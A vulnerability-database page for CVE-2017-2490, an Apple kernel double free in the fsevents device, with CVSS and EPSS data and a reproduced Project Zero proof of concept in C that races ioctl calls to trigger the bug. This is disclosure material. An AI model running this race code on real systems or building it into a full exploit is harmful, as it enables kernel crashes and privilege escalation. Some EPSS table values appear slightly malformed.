CVE-2017-2490

Score / Severity

7.8

High

CVE Descriptions

An issue was discovered in certain Apple products. iOS before 10.3 is affected. macOS before 10.12.4 is affected. tvOS before 10.2 is affected. watchOS before 3.2 is affected. The issue involves the "Kernel" component. It allows attackers to execute arbitrary code in a privileged context or cause a denial of service (memory corruption) via a crafted app.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	7.8	HIGH	CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	nvd@nist.gov
V2	9.3		AV:N/AC:M/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2021-04-18	1.71%	–	–	–	–
2021-09-05	–	1.71%	–	–	–
2021-11-07	–	1.71%	–	–	–
2022-01-09	–	1.71%	–	–	–
2022-01-30	–	1.71%	–	–	–
2022-02-06	–	–	2.51%	–	–
2022-04-03	–	–	2.51%	–	–
2022-07-17	–	–	2.51%	–	–
2023-02-26	–	–	2.51%	–	–
2023-03-12	–	–	–	0.28%	–
2023-09-10	–	–	–	0.28%	–
2024-02-11	–	–	–	0.28%	–
2024-06-02	–	–	–	0.28%	–
2024-06-09	–	–	–	–	–
2024-06-09	–	–	–	0.28%	–
2024-12-22	–	–	–	0.31%	–
2025-01-12	–	–	–	0.31%	–
2025-01-19	–	–	–	0.31%	–
2025-03-18	–	–	–	–	6.93%
2025-03-30	–	–	–	–	8.1%
2025-03-30	–	–	–	–	8.1,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2021-04-18	–
2021-09-05	74%
2021-11-07	75%
2022-01-09	34%
2022-01-30	35%
2022-02-06	59%
2022-04-03	8%
2022-07-17	81%
2023-02-26	82%
2023-03-12	64%
2023-09-10	65%
2024-02-11	68%
2024-06-02	68%
2024-06-09	69%
2024-06-09	69%
2024-12-22	69%
2025-01-12	7%
2025-01-19	7%
2025-03-18	91%
2025-03-30	91%
2025-03-30	91%

Exploit information

Exploit Database EDB-ID : 41804

Publication date : 2017-04-03 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1129 fseventsf_ioctl handles ioctls on fsevent fds acquired via FSEVENTS_CLONE_64 on /dev/fsevents Heres the code for the FSEVENTS_DEVICE_FILTER_64 ioctl: case FSEVENTS_DEVICE_FILTER_64: if (!proc_is64bit(vfs_context_proc(ctx))) { ret = EINVAL; break; } devfilt_args = (fsevent_dev_filter_args64 *)data; handle_dev_filter: { int new_num_devices; dev_t *devices_not_to_watch, *tmp=NULL; if (devfilt_args->num_devices > 256) { ret = EINVAL; break; } new_num_devices = devfilt_args->num_devices; if (new_num_devices == 0) { tmp = fseh->watcher->devices_not_to_watch; <------ (a) lock_watch_table(); <------ (b) fseh->watcher->devices_not_to_watch = NULL; fseh->watcher->num_devices = new_num_devices; unlock_watch_table(); <------ (c) if (tmp) { FREE(tmp, M_TEMP); <------ (d) } break; } There's nothing stopping two threads seeing the same value for devices_not_to_watch at (a), assigning that to tmp then freeing it at (d). The lock/unlock at (b) and (c) don't protect this. This leads to a double free, which if you also race allocations from the same zone can lead to an exploitable kernel use after free. /dev/fsevents is: crw-r--r-- 1 root wheel 13, 0 Feb 15 14:00 /dev/fsevents so this is a privesc from either root or members of the wheel group to kernel tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 (build with -O3) The open handler for the fsevents device node has a further access check: if (!kauth_cred_issuser(kauth_cred_get())) { return EPERM; } restricting this issue to root only despite the permissions on the device node (which is world-readable) */ // ianbeer #if 0 MacOS/iOS kernel double free due to bad locking in fsevents device fseventsf_ioctl handles ioctls on fsevent fds acquired via FSEVENTS_CLONE_64 on /dev/fsevents Heres the code for the FSEVENTS_DEVICE_FILTER_64 ioctl: case FSEVENTS_DEVICE_FILTER_64: if (!proc_is64bit(vfs_context_proc(ctx))) { ret = EINVAL; break; } devfilt_args = (fsevent_dev_filter_args64 *)data; handle_dev_filter: { int new_num_devices; dev_t *devices_not_to_watch, *tmp=NULL; if (devfilt_args->num_devices > 256) { ret = EINVAL; break; } new_num_devices = devfilt_args->num_devices; if (new_num_devices == 0) { tmp = fseh->watcher->devices_not_to_watch; <------ (a) lock_watch_table(); <------ (b) fseh->watcher->devices_not_to_watch = NULL; fseh->watcher->num_devices = new_num_devices; unlock_watch_table(); <------ (c) if (tmp) { FREE(tmp, M_TEMP); <------ (d) } break; } There's nothing stopping two threads seeing the same value for devices_not_to_watch at (a), assigning that to tmp then freeing it at (d). The lock/unlock at (b) and (c) don't protect this. This leads to a double free, which if you also race allocations from the same zone can lead to an exploitable kernel use after free. /dev/fsevents is: crw-r--r-- 1 root wheel 13, 0 Feb 15 14:00 /dev/fsevents so this is a privesc from either root or members of the wheel group to kernel tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 (build with -O3) #endif #include <fcntl.h> #include <stdlib.h> #include <stdio.h> #include <sys/ioctl.h> #include <sys/types.h> #include <pthread.h> #include <unistd.h> typedef uint64_t user64_addr_t; typedef struct fsevent_clone_args64 { user64_addr_t event_list; int32_t num_events; int32_t event_queue_depth; user64_addr_t fd; } fsevent_clone_args64; #define FSEVENTS_CLONE_64 _IOW('s', 1, fsevent_clone_args64) #pragma pack(push, 4) typedef struct fsevent_dev_filter_args64 { uint32_t num_devices; user64_addr_t devices; } fsevent_dev_filter_args64; #pragma pack(pop) #define FSEVENTS_DEVICE_FILTER_64 _IOW('s', 100, fsevent_dev_filter_args64) void* racer(void* thread_arg){ int fd = *(int*)thread_arg; printf("started thread\n"); fsevent_dev_filter_args64 arg = {0}; int32_t dev = 0; while (1) { arg.num_devices = 1; arg.devices = (user64_addr_t)&dev; int err = ioctl(fd, FSEVENTS_DEVICE_FILTER_64, &arg); if (err == -1) { perror("error in FSEVENTS_DEVICE_FILTER_64\n"); exit(EXIT_FAILURE); } arg.num_devices = 0; arg.devices = (user64_addr_t)&dev; err = ioctl(fd, FSEVENTS_DEVICE_FILTER_64, &arg); if (err == -1) { perror("error in FSEVENTS_DEVICE_FILTER_64\n"); exit(EXIT_FAILURE); } } return NULL; } int main(){ int fd = open("/dev/fsevents", O_RDONLY); if (fd == -1) { perror("can't open fsevents device, are you root?"); exit(EXIT_FAILURE); } // have to FSEVENTS_CLONE this to get the real fd fsevent_clone_args64 arg = {0}; int event_fd = 0; int8_t event = 0; arg.event_list = (user64_addr_t)&event; arg.num_events = 1; arg.event_queue_depth = 1; arg.fd = (user64_addr_t)&event_fd; int err = ioctl(fd, FSEVENTS_CLONE_64, &arg); if (err == -1) { perror("error in FSEVENTS_CLONE_64\n"); exit(EXIT_FAILURE); } if (event_fd != 0) { printf("looks like we got a new fd %d\n", event_fd); } else { printf("no new fd\n"); } pid_t pid = fork(); if (pid == 0) { racer(&event_fd); } else { racer(&event_fd); } return 1; }